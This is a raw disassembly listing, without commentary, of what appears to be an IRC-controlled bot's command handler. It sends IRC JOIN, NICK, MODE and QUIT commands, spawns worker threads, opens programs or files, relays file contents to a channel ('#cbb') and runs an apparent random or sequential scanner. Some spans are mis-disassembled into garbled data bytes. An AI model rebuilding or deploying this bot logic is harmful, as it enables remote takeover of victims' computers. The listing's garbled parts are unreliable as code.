		lea	eax, [ebp-2C8h]
		push	offset dword_43457C
		push	eax
		call	sub_4154E9
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B16D
		push	edi
		call	sub_415A5F
		add	esp, 38h
		test	eax, eax
		jle	loc_412990
		push	edi
		call	sub_415A5F
		add	eax, [ebp+2Ch]
		pop	ecx
		jmp	loc_40D21C
; ---------------------------------------------------------------------------


loc_410E34:				; CODE XREF: seg000:00410DBDj
		push	offset dword_434534
		jmp	loc_40F704
; ---------------------------------------------------------------------------


loc_410E3E:				; CODE XREF: seg000:0040F1ADj
					; seg000:0040F1C4j
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	offset dword_43452C
		push	eax
		call	sub_4154E9
		push	edi
		call	sub_415A5F
		add	esp, 10h


loc_410E5B:				; CODE XREF: seg000:00410EC5j
		test	eax, eax
		jle	loc_412990
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412990


loc_410E75:				; CODE XREF: seg000:0041175Aj
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F524[eax]
		call	sub_412D08


loc_410E99:				; CODE XREF: seg000:004125F5j
		add	esp, 0Ch
		jmp	loc_412990
; ---------------------------------------------------------------------------


loc_410EA1:				; CODE XREF: seg000:0040F17Fj
					; seg000:0040F196j
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp+20h]
		push	offset dword_434520
		push	eax
		call	sub_4154E9
		push	edi
		call	sub_415A5F
		add	esp, 14h
		jmp	short loc_410E5B
; ---------------------------------------------------------------------------


loc_410EC7:				; CODE XREF: seg000:0040F151j
					; seg000:0040F168j
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	offset dword_434518
		push	eax
		call	sub_4154E9
		push	edi
		call	sub_415A5F
		add	esp, 10h
		test	eax, eax
		jle	loc_412990
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412990
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F524[eax]
		call	sub_412D08
		push	dword ptr [ebp+20h]
		push	edi
		push	offset dword_4344E8


loc_410F2B:				; CODE XREF: seg000:00410FB5j
					; seg000:00411020j ...
		call	sub_40B1E1


loc_410F30:				; CODE XREF: seg000:004122C5j
		add	esp, 18h
		jmp	loc_412990
; ---------------------------------------------------------------------------


loc_410F38:				; CODE XREF: seg000:0040F123j
					; seg000:0040F13Aj
		cmp	[ebp-0Ch], ebx
		jz	loc_412990
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410F69
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_4344E0
		push	eax
		call	sub_4154E9
		add	esp, 0Ch


loc_410F69:				; CODE XREF: seg000:00410F52j
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_412990
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412990
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F524[eax]
		call	sub_412D08
		push	esi
		push	edi
		push	offset dword_4344B0
		jmp	loc_410F2B
; ---------------------------------------------------------------------------


loc_410FBA:				; CODE XREF: seg000:0040F0F5j
					; seg000:0040F10Cj
		cmp	[ebp-0Ch], ebx
		jz	loc_412990
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412990
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_412990
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412990
		push	esi
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F524[eax]
		call	sub_412D08
		push	esi
		push	edi
		push	offset dword_434480
		jmp	loc_410F2B
; ---------------------------------------------------------------------------


loc_411025:				; CODE XREF: seg000:0040F0C7j
					; seg000:0040F0DEj
		cmp	[ebp-0Ch], ebx
		jz	loc_412990
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412990
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		push	esi
		push	offset dword_434444


loc_411057:				; CODE XREF: seg000:004118FFj
					; seg000:00411918j ...
		call	sub_40B1E1


loc_41105C:				; CODE XREF: seg000:004110C5j
		add	esp, 14h
		jmp	loc_412990
; ---------------------------------------------------------------------------


loc_411064:				; CODE XREF: seg000:0040F099j
					; seg000:0040F0B0j
		push	dword ptr [ebp-90h]
		push	offset dword_436458
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D219
		push	dword ptr [ebp+20h]
		push	offset dword_434438
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		push	edi
		call	sub_415A5F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_421060	; Sleep
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		push	offset dword_434410
		call	sub_40B16D
		jmp	short loc_41105C
; ---------------------------------------------------------------------------


loc_4110C7:				; CODE XREF: seg000:0040F06Bj
					; seg000:0040F082j
		cmp	[ebp-0Ch], ebx
		jz	loc_412990
		push	edi
		call	sub_415CF0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_415CF0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_412990
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset dword_434CA8
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		push	esi
		push	edi
		push	offset dword_4343E0
		call	sub_40B1E1
		add	esp, 2Ch
		jmp	loc_412990
; ---------------------------------------------------------------------------


loc_411135:				; CODE XREF: seg000:0040F03Dj
					; seg000:0040F054j
		cmp	[ebp-0Ch], ebx
		jz	loc_412990
		push	edi
		call	sub_415CF0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_415CF0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_412990
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		push	esi
		push	edi
		push	offset dword_4343B0
		call	sub_40B1E1
		jmp	loc_40FD65
; ---------------------------------------------------------------------------


loc_411188:				; CODE XREF: seg000:0040F00Fj
					; seg000:0040F026j
		cmp	[ebp-0Ch], ebx
		jz	loc_40D219
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D219
		push	eax
		push	edi
		call	sub_40B075
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_434380
		push	eax
		call	sub_4154E9


loc_4111BF:				; CODE XREF: seg000:00410997j
		add	esp, 14h
		jmp	loc_40F7B1
; ---------------------------------------------------------------------------


loc_4111C7:				; CODE XREF: seg000:0040EFCFj
					; seg000:0040EFE6j
		push	edi
		push	dword ptr [ebp+24h]
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412990
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_411264
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41124C
		push	esi
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_4345D8
		push	eax
		call	sub_4154E9
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_416D40
		push	esi
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_434348
		push	eax
		call	sub_4154E9
		add	esp, 34h
		inc	dword ptr [ebp+2Ch]
		jmp	loc_4124D8
; ---------------------------------------------------------------------------


loc_41124C:				; CODE XREF: seg000:004111F4j
		lea	eax, [ebp-2C8h]
		push	offset dword_434304
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx
		jmp	loc_4124D8
; ---------------------------------------------------------------------------


loc_411264:				; CODE XREF: seg000:004111E3j
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_40AD85
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		push	edi
		push	offset dword_4342D8
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 24h
		jmp	loc_4124D8
; ---------------------------------------------------------------------------


loc_4112AB:				; CODE XREF: seg000:0040E9D4j
					; seg000:0040E9EBj
		push	offset aR	; "r"
		push	edi
		call	sub_415BE8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_411325
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		call	sub_41713C
		add	esp, 0Ch


loc_4112D4:				; CODE XREF: seg000:00411303j
		test	eax, eax
		jz	short loc_411305
		push	1
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		call	sub_41713C
		add	esp, 20h
		jmp	short loc_4112D4
; ---------------------------------------------------------------------------


loc_411305:				; CODE XREF: seg000:004112D6j
		push	esi
		call	sub_415B40
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_4342A0
		push	eax
		call	sub_4154E9
		add	esp, 10h
		jmp	loc_40EFA7
; ---------------------------------------------------------------------------


loc_411325:				; CODE XREF: seg000:004112BCj
		push	edi
		push	offset dword_43426C
		jmp	loc_41286B
; ---------------------------------------------------------------------------


loc_411330:				; CODE XREF: seg000:0040E9A6j
					; seg000:0040E9BDj
		cmp	[ebp-0Ch], ebx
		jz	loc_412990
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412990
		push	offset asc_426C9C ; "\n"
		push	esi
		call	sub_415C10
		push	esi
		call	sub_40A5E9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_411370
		push	offset dword_43422C
		jmp	loc_410B41
; ---------------------------------------------------------------------------


loc_411370:				; CODE XREF: seg000:00411364j
		push	esi
		push	offset dword_434200
		jmp	loc_4124C9
; ---------------------------------------------------------------------------


loc_41137B:				; CODE XREF: seg000:0040E978j
					; seg000:0040E98Fj
		cmp	[ebp-0Ch], ebx
		jz	loc_412990
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_412990
		push	eax
		call	sub_409CCD
		test	eax, eax
		pop	ecx
		jnz	short loc_4113AC
		push	offset unk_4341D0
		jmp	loc_410B41
; ---------------------------------------------------------------------------


loc_4113AC:				; CODE XREF: seg000:004113A0j
		push	offset dword_4341A0
		jmp	loc_410B41
; ---------------------------------------------------------------------------


loc_4113B6:				; CODE XREF: seg000:0040E94Aj
					; seg000:0040E961j
		push	7Fh
		lea	eax, [ebp-6F4h]
		push	edi
		push	eax
		call	sub_416D40
		mov	esi, [ebp+esi-8Ch]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4113E5
		push	7Fh
		lea	eax, [ebp-674h]
		push	esi
		push	eax
		call	sub_416D40
		add	esp, 0Ch


loc_4113E5:				; CODE XREF: seg000:004113D1j
		push	7Fh
		lea	eax, [ebp-5F4h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+0Ch]
		push	edi
		mov	[ebp-6F8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		mov	eax, [ebp-4]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-2C8h]
		push	offset dword_434174
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	14h
		push	eax
		call	sub_414F95
		add	esp, 24h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-6F8h]
		push	ebx
		push	eax
		push	offset sub_40AE4B
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_411483


loc_41146D:				; CODE XREF: seg000:00411481j
		cmp	[ebp-568h], ebx
		jnz	loc_4124D8
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_41146D
; ---------------------------------------------------------------------------


loc_411483:				; CODE XREF: seg000:0041146Bj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434124
		jmp	loc_4124C9
; ---------------------------------------------------------------------------


loc_411494:				; CODE XREF: seg000:0040E91Cj
					; seg000:0040E933j
		push	ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	edi
		call	loc_4063B0
		push	edi
		push	offset dword_4340FC
		jmp	loc_410F2B
; ---------------------------------------------------------------------------


loc_4114AF:				; CODE XREF: seg000:0040E8EEj
					; seg000:0040E905j
		push	14h
		lea	eax, [ebp-710h]
		push	ebx
		push	eax
		call	sub_415570
		push	edi
		lea	eax, [ebp-6FCh]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E9
		mov	eax, [ebp+0Ch]
		mov	[ebp-718h], eax
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-5F8h]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-5F8h]
		push	eax
		lea	eax, [ebp-6FCh]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4340C4
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	12h
		push	eax
		call	sub_414F95
		add	esp, 40h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-718h]
		push	ebx
		push	eax
		push	40B712h
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_41157F


loc_411569:				; CODE XREF: seg000:0041157Dj
		cmp	[ebp-568h], ebx
		jnz	loc_412850
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_411569
; ---------------------------------------------------------------------------


loc_41157F:				; CODE XREF: seg000:00411567j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_436358
		jmp	loc_412841
; ---------------------------------------------------------------------------


loc_411590:				; CODE XREF: seg000:0040E8C0j
					; seg000:0040E8D7j
		push	edi
		call	near ptr 0A80000h
		push	esp
		test	eax, eax
		jz	short loc_4115A3
		push	edi
		push	offset dword_434094
		jmp	short loc_4115AE
; ---------------------------------------------------------------------------


loc_4115A3:				; CODE XREF: seg000:00411599j
		push	offset dword_4347D4
		call	loc_409C08
		push	eax


loc_4115AE:				; CODE XREF: seg000:004115A1j
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------


loc_4115C7:				; CODE XREF: seg000:0040E892j
					; seg000:0040E8A9j
		push	edi
		call	sub_415A5F
		push	eax
		call	sub_414063
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4115E4
		push	offset dword_43405C
		jmp	short loc_4115E9
; ---------------------------------------------------------------------------


loc_4115E4:				; CODE XREF: seg000:004115DBj
		push	offset dword_434014


loc_4115E9:				; CODE XREF: seg000:004115E2j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	loc_40EFAA
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 14h
		jmp	loc_40EFAA
; ---------------------------------------------------------------------------


loc_411622:				; CODE XREF: seg000:0040E864j
					; seg000:0040E87Bj
		push	ebx
		push	ebx
		push	edi
		push	dword ptr [ebp-4]
		push	ebx
		push	dword ptr [ebp+0Ch]
		call	sub_413DD4
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_411644
		push	offset dword_433FDC
		jmp	loc_41286B
; ---------------------------------------------------------------------------


loc_411644:				; CODE XREF: seg000:00411638j
		push	offset dword_433F98
		jmp	loc_41286B
; ---------------------------------------------------------------------------


loc_41164E:				; CODE XREF: seg000:0040E836j
					; seg000:0040E84Dj
		push	edi
		call	ds:dword_43A3C8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	short loc_41168B
		push	2
		lea	eax, [ebp+8]
		push	4
		push	eax
		call	ds:dword_43A340
		cmp	eax, ebx
		jz	short loc_4116A6
		push	dword ptr [eax]


loc_411671:				; CODE XREF: seg000:004116A4j
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_433F68
		push	eax
		call	sub_4154E9
		add	esp, 10h
		jmp	loc_40F713
; ---------------------------------------------------------------------------


loc_41168B:				; CODE XREF: seg000:0041165Bj
		push	edi
		call	ds:dword_43A40C
		cmp	eax, ebx
		jz	short loc_4116A6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	ds:dword_43A414
		push	eax
		jmp	short loc_411671
; ---------------------------------------------------------------------------


loc_4116A6:				; CODE XREF: seg000:0041166Dj
					; seg000:00411694j
		push	offset dword_433F2C
		jmp	loc_410B41
; ---------------------------------------------------------------------------


loc_4116B0:				; CODE XREF: seg000:0040E808j
					; seg000:0040E81Fj
		push	7Fh
		push	edi
		push	dword ptr [ebp+1Ch]
		call	sub_416D40
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_433EF4
		push	eax
		call	sub_4154E9
		add	esp, 18h
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------


loc_4116D5:				; CODE XREF: seg000:0040E7DAj
					; seg000:0040E7F1j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_43A2FC
		test	eax, eax
		push	edi
		jz	short loc_4116F5
		push	offset unk_433EC4
		jmp	loc_41286B
; ---------------------------------------------------------------------------


loc_4116F5:				; CODE XREF: seg000:004116E9j
		push	offset unk_433E8C
		jmp	loc_41286B
; ---------------------------------------------------------------------------


loc_4116FF:				; CODE XREF: seg000:0040E7ACj
					; seg000:0040E7C3j
		mov	al, [edi]
		mov	ds:byte_42C184,	al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_433E54
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_411714:				; CODE XREF: seg000:0040E77Ej
					; seg000:0040E795j
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_412990
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412990
		push	ebx
		push	ebx
		lea	eax, [ebp-0A4h]
		push	2
		push	eax
		call	sub_414435
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_434518
		push	eax
		call	sub_4154E9
		add	esp, 1Ch
		jmp	loc_410E75
; ---------------------------------------------------------------------------


loc_41175F:				; CODE XREF: seg000:0040E750j
					; seg000:0040E767j
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_40D219
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40D219
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F524[eax]
		call	sub_412D08
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_421060	; Sleep
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F524[eax]
		call	ds:dword_43A420
		push	dword ptr [ebp-10h]
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F52C[eax]
		call	near ptr 0A80000h
		sbb	eax, 427AE857h
; ---------------------------------------------------------------------------
		db 0
		dd 34C06900h, 57000002h, 0F52C9889h, 68E80043h,	69000042h
		dd 234C0h, 88595900h, 43F31898h, 0BA0FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_41180A:				; CODE XREF: seg000:0040E722j
					; seg000:0040E739j
		push	edi
		push	offset aAll	; "all"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411839
		call	sub_41515E
		cmp	eax, ebx
		jle	short loc_41182F
		push	eax
		push	offset dword_433E04
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------


loc_41182F:				; CODE XREF: seg000:00411822j
		push	offset dword_433DC8
		jmp	loc_41202E
; ---------------------------------------------------------------------------


loc_411839:				; CODE XREF: seg000:00411819j
		mov	eax, [ebp-0ACh]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40D219
		lea	eax, [ebp+edi*4-94h]
		mov	[ebp+2Ch], eax


loc_411855:				; CODE XREF: seg000:004118C6j
		mov	eax, [ebp+2Ch]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40D219
		push	esi
		call	sub_415A5F
		push	eax
		call	sub_4150D0
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41187C
		push	offset dword_433D90
		jmp	short loc_411881
; ---------------------------------------------------------------------------


loc_41187C:				; CODE XREF: seg000:00411873j
		push	offset dword_433D50


loc_411881:				; CODE XREF: seg000:0041187Aj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_4118B1
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 14h


loc_4118B1:				; CODE XREF: seg000:00411893j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B16D
		add	dword ptr [ebp+2Ch], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_411855
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_4118CD:				; CODE XREF: seg000:0040E6F4j
					; seg000:0040E70Bj
		cmp	[ebp-0Ch], ebx
		jz	loc_412990
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412990
		push	esi
		push	offset dword_425050
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		push	esi
		push	offset dword_433D24
		jmp	loc_411057
; ---------------------------------------------------------------------------


loc_411904:				; CODE XREF: seg000:0040E6C6j
					; seg000:0040E6DDj
		push	edi
		push	offset dword_434438
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		push	edi
		push	offset dword_433CF0
		jmp	loc_411057
; ---------------------------------------------------------------------------


loc_41191D:				; CODE XREF: seg000:0040E698j
					; seg000:0040E6AFj
		push	dword ptr [ebp+esi-8Ch]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		push	edi
		push	offset dword_433CBC
		jmp	loc_410F2B
; ---------------------------------------------------------------------------


loc_41193D:				; CODE XREF: seg000:0040E66Aj
					; seg000:0040E681j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412D08
		push	edi
		push	offset dword_433C84
		jmp	loc_411057
; ---------------------------------------------------------------------------


loc_411956:				; CODE XREF: seg000:0040E62Fj
					; seg000:0040E644j
		mov	al, ds:byte_42768A
		mov	[ebp+8], ebx
		cmp	al, bl
		mov	edx, offset byte_42768A
		jz	loc_40D219
		mov	ecx, edx


loc_41196D:				; CODE XREF: seg000:00411975j
		inc	dword ptr [ebp+8]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_41196D
		cmp	al, bl
		jz	loc_40D219
		mov	[ebp+20h], edx


loc_411982:				; CODE XREF: seg000:00411C40j
		push	8
		call	sub_4151DD
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	dword ptr [ebp+8]
		add	eax, ecx
		cmp	eax, 12Ch
		jle	short loc_4119D1
		push	ecx
		lea	eax, [ebp-2C8h]
		push	offset dword_434DD8
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 20h
		jmp	loc_411C37
; ---------------------------------------------------------------------------


loc_4119D1:				; CODE XREF: seg000:0041199Cj
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_427320, ebx
		mov	dword ptr [ebp-304h], 64h
		mov	dword ptr [ebp-318h], 5
		mov	dword ptr [ebp-314h], 1F4h
		mov	[ebp+8], ebx
		jz	short loc_411A42
		mov	eax, [ebp+20h]
		mov	edi, offset dword_427320
		lea	esi, [eax-0Ah]


loc_411A0C:				; CODE XREF: seg000:00411A24j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411A28
		inc	dword ptr [ebp+8]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_411A0C
		jmp	short loc_411A42
; ---------------------------------------------------------------------------


loc_411A28:				; CODE XREF: seg000:00411A1Aj
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_427320[ecx]
		mov	[ebp-31Ch], ecx


loc_411A42:				; CODE XREF: seg000:004119FFj
					; seg000:00411A26j
		cmp	[ebp-31Ch], ebx
		jz	loc_411C4B
		push	10h
		lea	eax, [ebp+18h]
		pop	esi
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		mov	[ebp+18h], esi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A32C
		mov	al, [ebp-9B3h]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2D4h], eax
		push	dword ptr [ebp-2D4h]
		call	ds:dword_43A414
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_416D40
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_417040
		add	esp, 14h
		cmp	edi, ebx
		mov	[ebp+2Fh], bl
		jle	short loc_411AE4


loc_411AC2:				; CODE XREF: seg000:00411AE2j
		cmp	eax, ebx
		jz	short loc_411AE4
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_417040
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_411AC2


loc_411AE4:				; CODE XREF: seg000:00411AC0j
					; seg000:00411AC4j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp-4]
		mov	[ebp-320h], eax
		mov	eax, [ebp-8]
		mov	edi, 80h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		mov	dword ptr [ebp-2F0h], 1
		mov	[ebp-2F8h], esi
		call	sub_415A6A
		push	offset byte_438FAC
		push	offset aCbb_0	; "#cbb"
		call	sub_415910
		add	esp, 14h
		test	eax, eax
		jz	short loc_411B4E
		push	offset aCbb_0	; "#cbb"
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_411B54
; ---------------------------------------------------------------------------


loc_411B4E:				; CODE XREF: seg000:00411B35j
		mov	[ebp-3A0h], bl


loc_411B54:				; CODE XREF: seg000:00411B4Cj
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_411B66
		mov	eax, offset aSequential	; "Sequential"


